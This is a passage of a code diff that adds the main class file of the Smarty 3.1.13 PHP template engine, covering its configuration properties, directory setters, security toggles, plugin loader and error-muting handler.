(!defined('SMARTY_SYSPLUGINS_DIR')) { + define('SMARTY_SYSPLUGINS_DIR', SMARTY_DIR . 'sysplugins' . DS); +} +if (!defined('SMARTY_PLUGINS_DIR')) { + define('SMARTY_PLUGINS_DIR', SMARTY_DIR . 'plugins' . DS); +} +if (!defined('SMARTY_MBSTRING')) { + define('SMARTY_MBSTRING', function_exists('mb_split')); +} +if (!defined('SMARTY_RESOURCE_CHAR_SET')) { + // UTF-8 can only be done properly when mbstring is available! + /** + * @deprecated in favor of Smarty::$_CHARSET + */ + define('SMARTY_RESOURCE_CHAR_SET', SMARTY_MBSTRING ? 'UTF-8' : 'ISO-8859-1'); +} +if (!defined('SMARTY_RESOURCE_DATE_FORMAT')) { + /** + * @deprecated in favor of Smarty::$_DATE_FORMAT + */ + define('SMARTY_RESOURCE_DATE_FORMAT', '%b %e, %Y'); +} + +/** + * register the class autoloader + */ +if (!defined('SMARTY_SPL_AUTOLOAD')) { + define('SMARTY_SPL_AUTOLOAD', 0); +} + +if (SMARTY_SPL_AUTOLOAD && set_include_path(get_include_path() . PATH_SEPARATOR . SMARTY_SYSPLUGINS_DIR) !== false) { + $registeredAutoLoadFunctions = spl_autoload_functions(); + if (!isset($registeredAutoLoadFunctions['spl_autoload'])) { + spl_autoload_register(); + } +} else { + spl_autoload_register('smartyAutoload'); +} + +/** + * Load always needed external class files + */ +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_data.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_templatebase.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_template.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_resource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_resource_file.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_cacheresource.php'; +include_once SMARTY_SYSPLUGINS_DIR.'smarty_internal_cacheresource_file.php'; + +/** + * This is the main Smarty class + * @package Smarty + */ +class Smarty extends Smarty_Internal_TemplateBase { + + /**#@+ + * constant definitions + */ + + /** + * smarty version + */ + const SMARTY_VERSION = 'Smarty-3.1.13'; + + /** + * define variable scopes + */ + const SCOPE_LOCAL = 0; + const SCOPE_PARENT = 1; + const SCOPE_ROOT = 2; + const SCOPE_GLOBAL = 3; + /** + * define caching modes + */ + const CACHING_OFF = 0; + const CACHING_LIFETIME_CURRENT = 1; + const CACHING_LIFETIME_SAVED = 2; + /** + * define compile check modes + */ + const COMPILECHECK_OFF = 0; + const COMPILECHECK_ON = 1; + const COMPILECHECK_CACHEMISS = 2; + /** + * modes for handling of "" tags in templates. + */ + const PHP_PASSTHRU = 0; //-> print tags as plain text + const PHP_QUOTE = 1; //-> escape tags as entities + const PHP_REMOVE = 2; //-> escape tags as entities + const PHP_ALLOW = 3; //-> escape tags as entities + /** + * filter types + */ + const FILTER_POST = 'post'; + const FILTER_PRE = 'pre'; + const FILTER_OUTPUT = 'output'; + const FILTER_VARIABLE = 'variable'; + /** + * plugin types + */ + const PLUGIN_FUNCTION = 'function'; + const PLUGIN_BLOCK = 'block'; + const PLUGIN_COMPILER = 'compiler'; + const PLUGIN_MODIFIER = 'modifier'; + const PLUGIN_MODIFIERCOMPILER = 'modifiercompiler'; + + /**#@-*/ + + /** + * assigned global tpl vars + */ + public static $global_tpl_vars = array(); + + /** + * error handler returned by set_error_hanlder() in Smarty::muteExpectedErrors() + */ + public static $_previous_error_handler = null; + /** + * contains directories outside of SMARTY_DIR that are to be muted by muteExpectedErrors() + */ + public static $_muted_directories = array(); + /** + * Flag denoting if Multibyte String functions are available + */ + public static $_MBSTRING = SMARTY_MBSTRING; + /** + * The character set to adhere to (e.g. "UTF-8") + */ + public static $_CHARSET = SMARTY_RESOURCE_CHAR_SET; + /** + * The date format to be used internally + * (accepts date() and strftime()) + */ + public static $_DATE_FORMAT = SMARTY_RESOURCE_DATE_FORMAT; + /** + * Flag denoting if PCRE should run in UTF-8 mode + */ + public static $_UTF8_MODIFIER = 'u'; + + /** + * Flag denoting if operating system is windows + */ + public static $_IS_WINDOWS = false; + + /**#@+ + * variables + */ + + /** + * auto literal on delimiters with whitspace + * @var boolean + */ + public $auto_literal = true; + /** + * display error on not assigned variables + * @var boolean + */ + public $error_unassigned = false; + /** + * look up relative filepaths in include_path + * @var boolean + */ + public $use_include_path = false; + /** + * template directory + * @var array + */ + private $template_dir = array(); + /** + * joined template directory string used in cache keys + * @var string + */ + public $joined_template_dir = null; + /** + * joined config directory string used in cache keys + * @var string + */ + public $joined_config_dir = null; + /** + * default template handler + * @var callable + */ + public $default_template_handler_func = null; + /** + * default config handler + * @var callable + */ + public $default_config_handler_func = null; + /** + * default plugin handler + * @var callable + */ + public $default_plugin_handler_func = null; + /** + * compile directory + * @var string + */ + private $compile_dir = null; + /** + * plugins directory + * @var array + */ + private $plugins_dir = array(); + /** + * cache directory + * @var string + */ + private $cache_dir = null; + /** + * config directory + * @var array + */ + private $config_dir = array(); + /** + * force template compiling? + * @var boolean + */ + public $force_compile = false; + /** + * check template for modifications? + * @var boolean + */ + public $compile_check = true; + /** + * use sub dirs for compiled/cached files? + * @var boolean + */ + public $use_sub_dirs = false; + /** + * allow ambiguous resources (that are made unique by the resource handler) + * @var boolean + */ + public $allow_ambiguous_resources = false; + /** + * caching enabled + * @var boolean + */ + public $caching = false; + /** + * merge compiled includes + * @var boolean + */ + public $merge_compiled_includes = false; + /** + * cache lifetime in seconds + * @var integer + */ + public $cache_lifetime = 3600; + /** + * force cache file creation + * @var boolean + */ + public $force_cache = false; + /** + * Set this if you want different sets of cache files for the same + * templates. + * + * @var string + */ + public $cache_id = null; + /** + * Set this if you want different sets of compiled files for the same + * templates. + * + * @var string + */ + public $compile_id = null; + /** + * template left-delimiter + * @var string + */ + public $left_delimiter = "{"; + /** + * template right-delimiter + * @var string + */ + public $right_delimiter = "}"; + /**#@+ + * security + */ + /** + * class name + * + * This should be instance of Smarty_Security. + * + * @var string + * @see Smarty_Security + */ + public $security_class = 'Smarty_Security'; + /** + * implementation of security class + * + * @var Smarty_Security + */ + public $security_policy = null; + /** + * controls handling of PHP-blocks + * + * @var integer + */ + public $php_handling = self::PHP_PASSTHRU; + /** + * controls if the php template file resource is allowed + * + * @var bool + */ + public $allow_php_templates = false; + /** + * Should compiled-templates be prevented from being called directly? + * + * {@internal + * Currently used by Smarty_Internal_Template only. + * }} + * + * @var boolean + */ + public $direct_access_security = true; + /**#@-*/ + /** + * debug mode + * + * Setting this to true enables the debug-console. + * + * @var boolean + */ + public $debugging = false; + /** + * This determines if debugging is enable-able from the browser. + *
          + *
        • NONE => no debugging control allowed
        • + *
        • URL => enable debugging when SMARTY_DEBUG is found in the URL.
        • + *
        + * @var string + */ + public $debugging_ctrl = 'NONE'; + /** + * Name of debugging URL-param. + * + * Only used when $debugging_ctrl is set to 'URL'. + * The name of the URL-parameter that activates debugging. + * + * @var type + */ + public $smarty_debug_id = 'SMARTY_DEBUG'; + /** + * Path of debug template. + * @var string + */ + public $debug_tpl = null; + /** + * When set, smarty uses this value as error_reporting-level. + * @var int + */ + public $error_reporting = null; + /** + * Internal flag for getTags() + * @var boolean + */ + public $get_used_tags = false; + + /**#@+ + * config var settings + */ + + /** + * Controls whether variables with the same name overwrite each other. + * @var boolean + */ + public $config_overwrite = true; + /** + * Controls whether config values of on/true/yes and off/false/no get converted to boolean. + * @var boolean + */ + public $config_booleanize = true; + /** + * Controls whether hidden config sections/vars are read from the file. + * @var boolean + */ + public $config_read_hidden = false; + + /**#@-*/ + + /**#@+ + * resource locking + */ + + /** + * locking concurrent compiles + * @var boolean + */ + public $compile_locking = true; + /** + * Controls whether cache resources should emply locking mechanism + * @var boolean + */ + public $cache_locking = false; + /** + * seconds to wait for acquiring a lock before ignoring the write lock + * @var float + */ + public $locking_timeout = 10; + + /**#@-*/ + + /** + * global template functions + * @var array + */ + public $template_functions = array(); + /** + * resource type used if none given + * + * Must be an valid key of $registered_resources. + * @var string + */ + public $default_resource_type = 'file'; + /** + * caching type + * + * Must be an element of $cache_resource_types. + * + * @var string + */ + public $caching_type = 'file'; + /** + * internal config properties + * @var array + */ + public $properties = array(); + /** + * config type + * @var string + */ + public $default_config_type = 'file'; + /** + * cached template objects + * @var array + */ + public $template_objects = array(); + /** + * check If-Modified-Since headers + * @var boolean + */ + public $cache_modified_check = false; + /** + * registered plugins + * @var array + */ + public $registered_plugins = array(); + /** + * plugin search order + * @var array + */ + public $plugin_search_order = array('function', 'block', 'compiler', 'class'); + /** + * registered objects + * @var array + */ + public $registered_objects = array(); + /** + * registered classes + * @var array + */ + public $registered_classes = array(); + /** + * registered filters + * @var array + */ + public $registered_filters = array(); + /** + * registered resources + * @var array + */ + public $registered_resources = array(); + /** + * resource handler cache + * @var array + */ + public $_resource_handlers = array(); + /** + * registered cache resources + * @var array + */ + public $registered_cache_resources = array(); + /** + * cache resource handler cache + * @var array + */ + public $_cacheresource_handlers = array(); + /** + * autoload filter + * @var array + */ + public $autoload_filters = array(); + /** + * default modifier + * @var array + */ + public $default_modifiers = array(); + /** + * autoescape variable output + * @var boolean + */ + public $escape_html = false; + /** + * global internal smarty vars + * @var array + */ + public static $_smarty_vars = array(); + /** + * start time for execution time calculation + * @var int + */ + public $start_time = 0; + /** + * default file permissions + * @var int + */ + public $_file_perms = 0644; + /** + * default dir permissions + * @var int + */ + public $_dir_perms = 0771; + /** + * block tag hierarchy + * @var array + */ + public $_tag_stack = array(); + /** + * self pointer to Smarty object + * @var Smarty + */ + public $smarty; + /** + * required by the compiler for BC + * @var string + */ + public $_current_file = null; + /** + * internal flag to enable parser debugging + * @var bool + */ + public $_parserdebug = false; + /** + * Saved parameter of merged templates during compilation + * + * @var array + */ + public $merged_templates_func = array(); + /**#@-*/ + + /** + * Initialize new Smarty object + * + */ + public function __construct() + { + // selfpointer needed by some other class methods + $this->smarty = $this; + if (is_callable('mb_internal_encoding')) { + mb_internal_encoding(Smarty::$_CHARSET); + } + $this->start_time = microtime(true); + // set default dirs + $this->setTemplateDir('.' . DS . 'templates' . DS) + ->setCompileDir('.' . DS . 'templates_c' . DS) + ->setPluginsDir(SMARTY_PLUGINS_DIR) + ->setCacheDir('.' . DS . 'cache' . DS) + ->setConfigDir('.' . DS . 'configs' . DS); + + $this->debug_tpl = 'file:' . dirname(__FILE__) . '/debug.tpl'; + if (isset($_SERVER['SCRIPT_NAME'])) { + $this->assignGlobal('SCRIPT_NAME', $_SERVER['SCRIPT_NAME']); + } + } + + + /** + * Class destructor + */ + public function __destruct() + { + // intentionally left blank + } + + /** + * <> set selfpointer on cloned object + */ + public function __clone() + { + $this->smarty = $this; + } + + + /** + * <> Generic getter. + * + * Calls the appropriate getter function. + * Issues an E_USER_NOTICE if no valid getter is found. + * + * @param string $name property name + * @return mixed + */ + public function __get($name) + { + $allowed = array( + 'template_dir' => 'getTemplateDir', + 'config_dir' => 'getConfigDir', + 'plugins_dir' => 'getPluginsDir', + 'compile_dir' => 'getCompileDir', + 'cache_dir' => 'getCacheDir', + ); + + if (isset($allowed[$name])) { + return $this->{$allowed[$name]}(); + } else { + trigger_error('Undefined property: '. get_class($this) .'::$'. $name, E_USER_NOTICE); + } + } + + /** + * <> Generic setter. + * + * Calls the appropriate setter function. + * Issues an E_USER_NOTICE if no valid setter is found. + * + * @param string $name property name + * @param mixed $value parameter passed to setter + */ + public function __set($name, $value) + { + $allowed = array( + 'template_dir' => 'setTemplateDir', + 'config_dir' => 'setConfigDir', + 'plugins_dir' => 'setPluginsDir', + 'compile_dir' => 'setCompileDir', + 'cache_dir' => 'setCacheDir', + ); + + if (isset($allowed[$name])) { + $this->{$allowed[$name]}($value); + } else { + trigger_error('Undefined property: ' . get_class($this) . '::$' . $name, E_USER_NOTICE); + } + } + + /** + * Check if a template resource exists + * + * @param string $resource_name template name + * @return boolean status + */ + public function templateExists($resource_name) + { + // create template object + $save = $this->template_objects; + $tpl = new $this->template_class($resource_name, $this); + // check if it does exists + $result = $tpl->source->exists; + $this->template_objects = $save; + return $result; + } + + /** + * Returns a single or all global variables + * + * @param object $smarty + * @param string $varname variable name or null + * @return string variable value or or array of variables + */ + public function getGlobal($varname = null) + { + if (isset($varname)) { + if (isset(self::$global_tpl_vars[$varname])) { + return self::$global_tpl_vars[$varname]->value; + } else { + return ''; + } + } else { + $_result = array(); + foreach (self::$global_tpl_vars AS $key => $var) { + $_result[$key] = $var->value; + } + return $_result; + } + } + + /** + * Empty cache folder + * + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + function clearAllCache($exp_time = null, $type = null) + { + // load cache resource and call clearAll + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + return $_cache_resource->clearAll($this, $exp_time); + } + + /** + * Empty cache for a specific template + * + * @param string $template_name template name + * @param string $cache_id cache id + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @param string $type resource type + * @return integer number of cache files deleted + */ + public function clearCache($template_name, $cache_id = null, $compile_id = null, $exp_time = null, $type = null) + { + // load cache resource and call clear + $_cache_resource = Smarty_CacheResource::load($this, $type); + Smarty_CacheResource::invalidLoadedCache($this); + return $_cache_resource->clear($this, $template_name, $cache_id, $compile_id, $exp_time); + } + + /** + * Loads security class and enables security + * + * @param string|Smarty_Security $security_class if a string is used, it must be class-name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when an invalid class name is provided + */ + public function enableSecurity($security_class = null) + { + if ($security_class instanceof Smarty_Security) { + $this->security_policy = $security_class; + return $this; + } elseif (is_object($security_class)) { + throw new SmartyException("Class '" . get_class($security_class) . "' must extend Smarty_Security."); + } + if ($security_class == null) { + $security_class = $this->security_class; + } + if (!class_exists($security_class)) { + throw new SmartyException("Security class '$security_class' is not defined"); + } elseif ($security_class !== 'Smarty_Security' && !is_subclass_of($security_class, 'Smarty_Security')) { + throw new SmartyException("Class '$security_class' must extend Smarty_Security."); + } else { + $this->security_policy = new $security_class($this); + } + + return $this; + } + + /** + * Disable security + * @return Smarty current Smarty instance for chaining + */ + public function disableSecurity() + { + $this->security_policy = null; + + return $this; + } + + /** + * Set template directory + * + * @param string|array $template_dir directory(s) of template sources + * @return Smarty current Smarty instance for chaining + */ + public function setTemplateDir($template_dir) + { + $this->template_dir = array(); + foreach ((array) $template_dir as $k => $v) { + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + return $this; + } + + /** + * Add template directory(s) + * + * @param string|array $template_dir directory(s) of template sources + * @param string $key of the array element to assign the template dir to + * @return Smarty current Smarty instance for chaining + * @throws SmartyException when the given template directory is not valid + */ + public function addTemplateDir($template_dir, $key=null) + { + // make sure we're dealing with an array + $this->template_dir = (array) $this->template_dir; + + if (is_array($template_dir)) { + foreach ($template_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->template_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->template_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif ($key !== null) { + // override directory at specified index + $this->template_dir[$key] = rtrim($template_dir, '/\\') . DS; + } else { + // append new directory + $this->template_dir[] = rtrim($template_dir, '/\\') . DS; + } + $this->joined_template_dir = join(DIRECTORY_SEPARATOR, $this->template_dir); + return $this; + } + + /** + * Get template directories + * + * @param mixed index of directory to get, null to get all + * @return array|string list of template directories, or directory of $index + */ + public function getTemplateDir($index=null) + { + if ($index !== null) { + return isset($this->template_dir[$index]) ? $this->template_dir[$index] : null; + } + + return (array)$this->template_dir; + } + + /** + * Set config directory + * + * @param string|array $template_dir directory(s) of configuration sources + * @return Smarty current Smarty instance for chaining + */ + public function setConfigDir($config_dir) + { + $this->config_dir = array(); + foreach ((array) $config_dir as $k => $v) { + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + return $this; + } + + /** + * Add config directory(s) + * + * @param string|array $config_dir directory(s) of config sources + * @param string key of the array element to assign the config dir to + * @return Smarty current Smarty instance for chaining + */ + public function addConfigDir($config_dir, $key=null) + { + // make sure we're dealing with an array + $this->config_dir = (array) $this->config_dir; + + if (is_array($config_dir)) { + foreach ($config_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->config_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->config_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } elseif( $key !== null ) { + // override directory at specified index + $this->config_dir[$key] = rtrim($config_dir, '/\\') . DS; + } else { + // append new directory + $this->config_dir[] = rtrim($config_dir, '/\\') . DS; + } + + $this->joined_config_dir = join(DIRECTORY_SEPARATOR, $this->config_dir); + return $this; + } + + /** + * Get config directory + * + * @param mixed index of directory to get, null to get all + * @return array|string configuration directory + */ + public function getConfigDir($index=null) + { + if ($index !== null) { + return isset($this->config_dir[$index]) ? $this->config_dir[$index] : null; + } + + return (array)$this->config_dir; + } + + /** + * Set plugins directory + * + * @param string|array $plugins_dir directory(s) of plugins + * @return Smarty current Smarty instance for chaining + */ + public function setPluginsDir($plugins_dir) + { + $this->plugins_dir = array(); + foreach ((array)$plugins_dir as $k => $v) { + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + + return $this; + } + + /** + * Adds directory of plugin files + * + * @param object $smarty + * @param string $ |array $ plugins folder + * @return Smarty current Smarty instance for chaining + */ + public function addPluginsDir($plugins_dir) + { + // make sure we're dealing with an array + $this->plugins_dir = (array) $this->plugins_dir; + + if (is_array($plugins_dir)) { + foreach ($plugins_dir as $k => $v) { + if (is_int($k)) { + // indexes are not merged but appended + $this->plugins_dir[] = rtrim($v, '/\\') . DS; + } else { + // string indexes are overridden + $this->plugins_dir[$k] = rtrim($v, '/\\') . DS; + } + } + } else { + // append new directory + $this->plugins_dir[] = rtrim($plugins_dir, '/\\') . DS; + } + + $this->plugins_dir = array_unique($this->plugins_dir); + return $this; + } + + /** + * Get plugin directories + * + * @return array list of plugin directories + */ + public function getPluginsDir() + { + return (array)$this->plugins_dir; + } + + /** + * Set compile directory + * + * @param string $compile_dir directory to store compiled templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCompileDir($compile_dir) + { + $this->compile_dir = rtrim($compile_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->compile_dir])) { + Smarty::$_muted_directories[$this->compile_dir] = null; + } + return $this; + } + + /** + * Get compiled directory + * + * @return string path to compiled templates + */ + public function getCompileDir() + { + return $this->compile_dir; + } + + /** + * Set cache directory + * + * @param string $cache_dir directory to store cached templates in + * @return Smarty current Smarty instance for chaining + */ + public function setCacheDir($cache_dir) + { + $this->cache_dir = rtrim($cache_dir, '/\\') . DS; + if (!isset(Smarty::$_muted_directories[$this->cache_dir])) { + Smarty::$_muted_directories[$this->cache_dir] = null; + } + return $this; + } + + /** + * Get cache directory + * + * @return string path of cache directory + */ + public function getCacheDir() + { + return $this->cache_dir; + } + + /** + * Set default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to set + * @return Smarty current Smarty instance for chaining + */ + public function setDefaultModifiers($modifiers) + { + $this->default_modifiers = (array) $modifiers; + return $this; + } + + /** + * Add default modifiers + * + * @param array|string $modifiers modifier or list of modifiers to add + * @return Smarty current Smarty instance for chaining + */ + public function addDefaultModifiers($modifiers) + { + if (is_array($modifiers)) { + $this->default_modifiers = array_merge($this->default_modifiers, $modifiers); + } else { + $this->default_modifiers[] = $modifiers; + } + + return $this; + } + + /** + * Get default modifiers + * + * @return array list of default modifiers + */ + public function getDefaultModifiers() + { + return $this->default_modifiers; + } + + + /** + * Set autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function setAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + $this->autoload_filters[$type] = (array) $filters; + } else { + $this->autoload_filters = (array) $filters; + } + + return $this; + } + + /** + * Add autoload filters + * + * @param array $filters filters to load automatically + * @param string $type "pre", "output", … specify the filter type to set. Defaults to none treating $filters' keys as the appropriate types + * @return Smarty current Smarty instance for chaining + */ + public function addAutoloadFilters($filters, $type=null) + { + if ($type !== null) { + if (!empty($this->autoload_filters[$type])) { + $this->autoload_filters[$type] = array_merge($this->autoload_filters[$type], (array) $filters); + } else { + $this->autoload_filters[$type] = (array) $filters; + } + } else { + foreach ((array) $filters as $key => $value) { + if (!empty($this->autoload_filters[$key])) { + $this->autoload_filters[$key] = array_merge($this->autoload_filters[$key], (array) $value); + } else { + $this->autoload_filters[$key] = (array) $value; + } + } + } + + return $this; + } + + /** + * Get autoload filters + * + * @param string $type type of filter to get autoloads for. Defaults to all autoload filters + * @return array array( 'type1' => array( 'filter1', 'filter2', … ) ) or array( 'filter1', 'filter2', …) if $type was specified + */ + public function getAutoloadFilters($type=null) + { + if ($type !== null) { + return isset($this->autoload_filters[$type]) ? $this->autoload_filters[$type] : array(); + } + + return $this->autoload_filters; + } + + /** + * return name of debugging template + * + * @return string + */ + public function getDebugTemplate() + { + return $this->debug_tpl; + } + + /** + * set the debug template + * + * @param string $tpl_name + * @return Smarty current Smarty instance for chaining + * @throws SmartyException if file is not readable + */ + public function setDebugTemplate($tpl_name) + { + if (!is_readable($tpl_name)) { + throw new SmartyException("Unknown file '{$tpl_name}'"); + } + $this->debug_tpl = $tpl_name; + + return $this; + } + + /** + * creates a template object + * + * @param string $template the resource handle of the template file + * @param mixed $cache_id cache id to be used with this template + * @param mixed $compile_id compile id to be used with this template + * @param object $parent next higher level of Smarty variables + * @param boolean $do_clone flag is Smarty object shall be cloned + * @return object template object + */ + public function createTemplate($template, $cache_id = null, $compile_id = null, $parent = null, $do_clone = true) + { + if (!empty($cache_id) && (is_object($cache_id) || is_array($cache_id))) { + $parent = $cache_id; + $cache_id = null; + } + if (!empty($parent) && is_array($parent)) { + $data = $parent; + $parent = null; + } else { + $data = null; + } + // default to cache_id and compile_id of Smarty object + $cache_id = $cache_id === null ? $this->cache_id : $cache_id; + $compile_id = $compile_id === null ? $this->compile_id : $compile_id; + // already in template cache? + if ($this->allow_ambiguous_resources) { + $_templateId = Smarty_Resource::getUniqueTemplateName($this, $template) . $cache_id . $compile_id; + } else { + $_templateId = $this->joined_template_dir . '#' . $template . $cache_id . $compile_id; + } + if (isset($_templateId[150])) { + $_templateId = sha1($_templateId); + } + if ($do_clone) { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = clone $this->template_objects[$_templateId]; + $tpl->smarty = clone $tpl->smarty; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, clone $this, $parent, $cache_id, $compile_id); + } + } else { + if (isset($this->template_objects[$_templateId])) { + // return cached template object + $tpl = $this->template_objects[$_templateId]; + $tpl->parent = $parent; + $tpl->tpl_vars = array(); + $tpl->config_vars = array(); + } else { + $tpl = new $this->template_class($template, $this, $parent, $cache_id, $compile_id); + } + } + // fill data if present + if (!empty($data) && is_array($data)) { + // set up variable values + foreach ($data as $_key => $_val) { + $tpl->tpl_vars[$_key] = new Smarty_variable($_val); + } + } + return $tpl; + } + + + /** + * Takes unknown classes and loads plugin files for them + * class name format: Smarty_PluginType_PluginName + * plugin filename format: plugintype.pluginname.php + * + * @param string $plugin_name class plugin name to load + * @param bool $check check if already loaded + * @return string |boolean filepath of loaded file or false + */ + public function loadPlugin($plugin_name, $check = true) + { + // if function or class exists, exit silently (already loaded) + if ($check && (is_callable($plugin_name) || class_exists($plugin_name, false))) { + return true; + } + // Plugin name is expected to be: Smarty_[Type]_[Name] + $_name_parts = explode('_', $plugin_name, 3); + // class name must have three parts to be valid plugin + // count($_name_parts) < 3 === !isset($_name_parts[2]) + if (!isset($_name_parts[2]) || strtolower($_name_parts[0]) !== 'smarty') { + throw new SmartyException("plugin {$plugin_name} is not a valid name format"); + return false; + } + // if type is "internal", get plugin from sysplugins + if (strtolower($_name_parts[1]) == 'internal') { + $file = SMARTY_SYSPLUGINS_DIR . strtolower($plugin_name) . '.php'; + if (file_exists($file)) { + require_once($file); + return $file; + } else { + return false; + } + } + // plugin filename is expected to be: [type].[name].php + $_plugin_filename = "{$_name_parts[1]}.{$_name_parts[2]}.php"; + + $_stream_resolve_include_path = function_exists('stream_resolve_include_path'); + + // loop through plugin dirs and find the plugin + foreach($this->getPluginsDir() as $_plugin_dir) { + $names = array( + $_plugin_dir . $_plugin_filename, + $_plugin_dir . strtolower($_plugin_filename), + ); + foreach ($names as $file) { + if (file_exists($file)) { + require_once($file); + return $file; + } + if ($this->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_plugin_dir)) { + // try PHP include_path + if ($_stream_resolve_include_path) { + $file = stream_resolve_include_path($file); + } else { + $file = Smarty_Internal_Get_Include_Path::getIncludePath($file); + } + + if ($file !== false) { + require_once($file); + return $file; + } + } + } + } + // no plugin loaded + return false; + } + + /** + * Compile all template files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllTemplates($extention = '.tpl', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllTemplates($extention, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Compile all config files + * + * @param string $extension file extension + * @param bool $force_compile force all to recompile + * @param int $time_limit + * @param int $max_errors + * @return integer number of template files recompiled + */ + public function compileAllConfig($extention = '.conf', $force_compile = false, $time_limit = 0, $max_errors = null) + { + return Smarty_Internal_Utility::compileAllConfig($extention, $force_compile, $time_limit, $max_errors, $this); + } + + /** + * Delete compiled template file + * + * @param string $resource_name template name + * @param string $compile_id compile id + * @param integer $exp_time expiration time + * @return integer number of template files deleted + */ + public function clearCompiledTemplate($resource_name = null, $compile_id = null, $exp_time = null) + { + return Smarty_Internal_Utility::clearCompiledTemplate($resource_name, $compile_id, $exp_time, $this); + } + + + /** + * Return array of tag/attributes of all tags used by an template + * + * @param object $templae template object + * @return array of tag/attributes + */ + public function getTags(Smarty_Internal_Template $template) + { + return Smarty_Internal_Utility::getTags($template); + } + + /** + * Run installation test + * + * @param array $errors Array to write errors into, rather than outputting them + * @return boolean true if setup is fine, false if something is wrong + */ + public function testInstall(&$errors=null) + { + return Smarty_Internal_Utility::testInstall($this, $errors); + } + + /** + * Error Handler to mute expected messages + * + * @link http://php.net/set_error_handler + * @param integer $errno Error level + * @return boolean + */ + public static function mutingErrorHandler($errno, $errstr, $errfile, $errline, $errcontext) + { + $_is_muted_directory = false; + + // add the SMARTY_DIR to the list of muted directories + if (!isset(Smarty::$_muted_directories[SMARTY_DIR])) { + $smarty_dir = realpath(SMARTY_DIR); + if ($smarty_dir !== false) { + Smarty::$_muted_directories[SMARTY_DIR] = array( + 'file' => $smarty_dir, + 'length' => strlen($smarty_dir), + ); + } + } + + // walk the muted directories and test against $errfile + foreach (Smarty::$_muted_directories as $key => &$dir) { + if (!$dir) { + // resolve directory and length for speedy comparisons + $file = realpath($key); + if ($file === false) { + // this directory does not exist, remove and skip it + unset(Smarty::$_muted_directories[$key]); + continue; + } + $dir = array( + 'file' => $file, + 'length' => strlen($file), + ); + } + if (!strncmp($errfile, $dir['file'], $dir['length'])) { + $_is_muted_directory = true; + break; + } + } + + // pass to next error handler if this error did not occur inside SMARTY_DIR + // or the error was within smarty but masked to be ignored + if (!$_is_muted_directory || ($errno && $errno & error_reporting())) { + if (Smarty::$_previous_error_handler) { + return call_user_func(Smarty::$_previous_error_handler, $errno, $errstr, $errfile, $errline, $errcontext); + } else { + return false; + } + } + } + + /** + * Enable error handler to mute expected messages + * + * @return void + */ + public static function muteExpectedErrors() + { + /* + error muting is done because some people implemented custom error_handlers using + http://php.net/set_error_handler and for some reason did not understand the following paragraph: + + It is important to remember that the standard PHP error handler is completely bypassed for the + error types specified by error_types unless the callback function returns FALSE. + error_reporting() settings will have no effect and your error handler will be called regardless - + however you are still able to read the current value of error_reporting and act appropriately. + Of particular note is that this value will be 0 if the statement that caused the error was + prepended by the @ error-control operator. + + Smarty deliberately uses @filemtime() over file_exists() and filemtime() in some places. Reasons include + - @filemtime() is almost twice as fast as using an additional file_exists() + - between file_exists() and filemtime() a possible race condition is opened, + which does not exist using the simple @filemtime() approach. + */ + $error_handler = array('Smarty', 'mutingErrorHandler'); + $previous = set_error_handler($error_handler); + + // avoid dead loops + if ($previous !== $error_handler) { + Smarty::$_previous_error_handler = $previous; + } + } + + /** + * Disable error handler muting expected messages + * + * @return void + */ + public static function unmuteExpectedErrors() + { + restore_error_handler(); + } +} + +// Check if we're running on windows +Smarty::$_IS_WINDOWS = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; + +// let PCRE (preg_*) treat strings as ISO-8859-1 if we're not dealing with UTF-8 +if (Smarty::$_CHARSET !== 'UTF-8') { + Smarty::$_UTF8_MODIFIER = ''; +} + +/** + * Smarty exception class + * @package Smarty + */ +class SmartyException extends Exception { + public static $escape = true; + public function __construct($message) { + $this->message = self::$escape ? htmlentities($message) : $message; + } +} + +/** + * Smarty compiler exception class + * @package Smarty + */ +class SmartyCompilerException extends SmartyException { +} + +/** + * Autoloader + */ +function smartyAutoload($class) +{ + $_class = strtolower($class); + $_classes = array( + 'smarty_config_source' => true, + 'smarty_config_compiled' => true, + 'smarty_security' => true, + 'smarty_cacheresource' => true, + 'smarty_cacheresource_custom' => true, + 'smarty_cacheresource_keyvaluestore' => true, + 'smarty_resource' => true, + 'smarty_resource_custom' => true, + 'smarty_resource_uncompiled' => true, + 'smarty_resource_recompiled' => true, + ); + + if (!strncmp($_class, 